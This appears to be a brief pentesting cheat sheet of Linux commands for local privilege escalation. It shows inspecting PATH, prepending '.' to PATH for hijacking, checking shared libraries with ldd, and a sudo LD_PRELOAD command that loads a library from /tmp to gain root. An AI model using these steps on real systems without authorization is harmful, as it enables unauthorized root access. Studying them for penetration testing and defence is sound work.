Command:
echo $PATH
Description: Check the current user's PATH variable contents.
PATH=.:${PATH}
Description: Add a . to the beginning of the current user's PATH.
.
ldd /bin/ls
Description: View the shared objects required by a binary.
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
Description: Escalate privileges using LD_PRELOAD.
Last updated 10 months ago